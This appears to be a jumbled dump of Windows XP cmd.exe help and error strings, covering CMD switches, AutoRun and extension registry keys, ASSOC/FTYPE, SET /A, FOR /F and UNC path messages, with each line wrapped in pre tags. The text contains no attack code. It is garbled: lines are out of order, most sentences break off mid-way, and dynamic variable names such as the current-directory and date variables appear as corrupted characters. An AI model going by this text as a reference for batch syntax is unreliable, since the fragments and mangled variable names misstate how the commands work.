command after the ELSE keyword if the</pre><pre>I The new environment will be the original environment passed</pre><pre>to the cmd.exe and not the current environment.</pre><pre>SEPARATE Start 16-bit Windows program in separate memory space</pre><pre>SHARED Start 16-bit Windows program in shared memory space</pre><pre>If it is an internal cmd command or a batch file then</pre><pre>the command processor is run with the /K switch to cmd.exe.</pre><pre>If it is not an internal cmd command or batch file then</pre><pre>parameters These are the parameters passed to the command/program</pre><pre>under Windows XP.</pre><pre>Starts a new instance of the Windows XP command interpreter</pre><pre>CMD [/A | /U] [/Q] [/D] [/E:ON | /E:OFF] [/F:ON | /F:OFF] [/V:ON | /V:OFF]</pre><pre>/D Disable execution of AutoRun commands from registry (see below)</pre><pre>/A Causes the output of internal commands to a pipe or file to be ANSI</pre><pre>/U Causes the output of internal commands to a pipe or file to be</pre><pre>variable var at execution time. The %var% syntax expands variables</pre><pre>of an executable file.</pre><pre>If /D was NOT specified on the command line, then when CMD.EXE starts, it</pre><pre>either or both are present, they are executed first.</pre><pre>HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun</pre><pre>HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun</pre><pre>can enable or disable extensions for all invocations of CMD.EXE on a</pre><pre>following REG_DWORD values in the registry using REGEDT32.EXE:</pre><pre>HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\EnableExtensions</pre><pre>HKEY_CURRENT_USER\Software\Microsoft\Command Processor\EnableExtensions</pre><pre>particular invocation of CMD.EXE with the /V:ON or /V:OFF switch. You</pre><pre>can enable or disable completion for all invocations of CMD.EXE on a</pre><pre>HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\DelayedExpansion</pre><pre>HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DelayedExpansion</pre><pre>at execution time.</pre><pre>CMD.EXE with the /F:ON or /F:OFF switch. You can enable or disable</pre><pre>completion for all invocations of CMD.EXE on a machine and/or user logon</pre><pre>the registry using REGEDT32.EXE:</pre><pre>HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\CompletionChar</pre><pre>HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\PathCompletionChar</pre><pre>HKEY_CURRENT_USER\Software\Microsoft\Command Processor\CompletionChar</pre><pre>HKEY_CURRENT_USER\Software\Microsoft\Command Processor\PathCompletionChar</pre><pre>Shift key with the control character will move through the list</pre><pre>&()[]{}^=;!%' ,`~</pre><pre>Command Processor Extensions enabled by default. Use CMD /? for details.</pre><pre>ASSOC [.ext[=[fileType]]]</pre><pre>.ext Specifies the file extension to associate the file type with</pre><pre>ASSOC .pl=PerlScript</pre><pre>FTYPE PerlScript=perl.exe %%1 %%*</pre><pre>script.pl 1 2 3</pre><pre>set PATHEXT=.pl;%%PATHEXT%%</pre><pre>The restartable option to the COPY command is not supported by</pre><pre>this version of the operating system.</pre><pre>The following usage of the path operator in batch-parameter</pre><pre>The unicode output option to CMD.EXE is not supported by this</pre><pre>version of the operating system.</pre><pre>If Command Extensions are enabled the DATE command supports</pre><pre>If Command Extensions are enabled the TIME command supports</pre><pre>If Command Extensions are enabled the PROMPT command supports</pre><pre>is pretty simple and supports the following operations, in decreasing</pre><pre>! ~ - - unary operators</pre><pre>* / %% - arithmetic operators</pre><pre> - - arithmetic operators</pre><pre>&= ^= |= <<= >>=</pre><pre>If you use any of the logical or modulus operators, you will need to</pre><pre>values. If SET /A is executed from the command line outside of a</pre><pre>assignment operator requires an environment variable name to the left of</pre><pre>the assignment operator. Numeric values are decimal numbers, unless</pre><pre>occurrence of the remaining portion of str1.</pre><pre>Finally, support for delayed environment variable expansion has been</pre><pre>added. This support is always disabled by default, but may be</pre><pre>enabled/disabled via the /V command line switch to CMD.EXE. See CMD /?</pre><pre>of text is read, not when it is executed. The following example</pre><pre>So the actual FOR loop we are executing is:</pre><pre>%Í%% - expands to the current directory string.</pre><pre>%ÚTE%% - expands to current date using same format as DATE command.</pre><pre>%%CMDEXTVERSION%% - expands to the current Command Processor Extensions</pre><pre>%%CMDCMDLINE%% - expands to the original command line that invoked the</pre><pre>If Command Extensions are enabled the SHIFT command supports</pre><pre>control is passed to the statement after the label specified. You must</pre><pre>%%4 %%5 ...)</pre><pre>CMD /? for details.</pre><pre>This works because on old versions of CMD.EXE, SETLOCAL does NOT</pre><pre>command execution.</pre><pre>non-executable files may be invoked through their file association just</pre><pre>by typing the name of the file as a command. (e.g. WORD.DOC would</pre><pre>launch the application associated with the .DOC file extension).</pre><pre>When executing an application that is a 32-bit GUI application, CMD.EXE</pre><pre>the command prompt. This new behavior does NOT occur if executing</pre><pre>When executing a command line whose first token is the string "CMD "</pre><pre>without an extension or path qualifier, then "CMD" is replaced with</pre><pre>the value of the COMSPEC variable. This prevents picking up CMD.EXE</pre><pre>When executing a command line whose first token does NOT contain an</pre><pre>extension, then CMD.EXE uses the value of the PATHEXT</pre><pre>.COM;.EXE;.BAT;.CMD</pre><pre>When searching for an executable, if there is no match on any extension,</pre><pre>If Command Extensions are enabled, and running on the Windows XP</pre><pre>forms of the FOR command are supported:</pre><pre>Walks the directory tree rooted at [drive:]path, executing the FOR</pre><pre>passes the first blank separated token from each line of each file.</pre><pre>is a quoted string which contains one or more keywords to specify</pre><pre>different parsing options. The keywords are:</pre><pre>be passed to the for body for each iteration.</pre><pre>where a back quoted string is executed as a</pre><pre>FOR /F "eol=; tokens=2,3* delims=, " %%i in (myfile.txt) do @echo %%i %%j %%k</pre><pre>would parse each line in myfile.txt, ignoring lines that begin with</pre><pre>a semicolon, passing the 2nd and 3rd token from each line to the for</pre><pre>line, which is passed to a child CMD.EXE and the output is captured</pre><pre>IF CMDEXTVERSION number command</pre><pre>The CMDEXTVERSION conditional works just like ERRORLEVEL, except it is</pre><pre>CMDEXTVERSION conditional is never true when Command Extensions are</pre><pre>%%CMDCMDLINE%% will expand into the original command line passed to</pre><pre>CMD.EXE prior to any processing by CMD.EXE, provided that there is not</pre><pre>already an environment variable with the name CMDCMDLINE, in which case</pre><pre>%%CMDEXTVERSION%% will expand into a string representation of the</pre><pre>current value of CMDEXTVERSION, provided that there is not already</pre><pre>an environment variable with the name CMDEXTVERSION, in which case you</pre><pre>under Windows XP, as command line editing is always enabled.</pre><pre>CMD.EXE was started with the above path as the current directory.</pre><pre>UNC paths are not supported. Defaulting to Windows directory.</pre><pre>CMD does not support UNC paths as current directories.</pre><pre>UNC paths not supported for current directory. Using</pre><pre>to create temporary drive letter to support UNC current</pre><pre>Missing operand.</pre><pre>Missing operator.</pre><pre>The COMSPEC environment variable does not point to CMD.EXE.</pre><pre>The FAT File System only support Last Write Times</pre><pre>of a batch script is reached, an implied ENDLOCAL is executed for any</pre><pre>application execution.</pre><pre>The switch /Y may be present in the COPYCMD environment variable.</pre><pre>to prompt on overwrites unless MOVE command is being executed from</pre><pre>when CMD.EXE started. This value either comes from the current console</pre><pre>The COLOR command sets ERRORLEVEL to 1 if an attempt is made to execute</pre></A>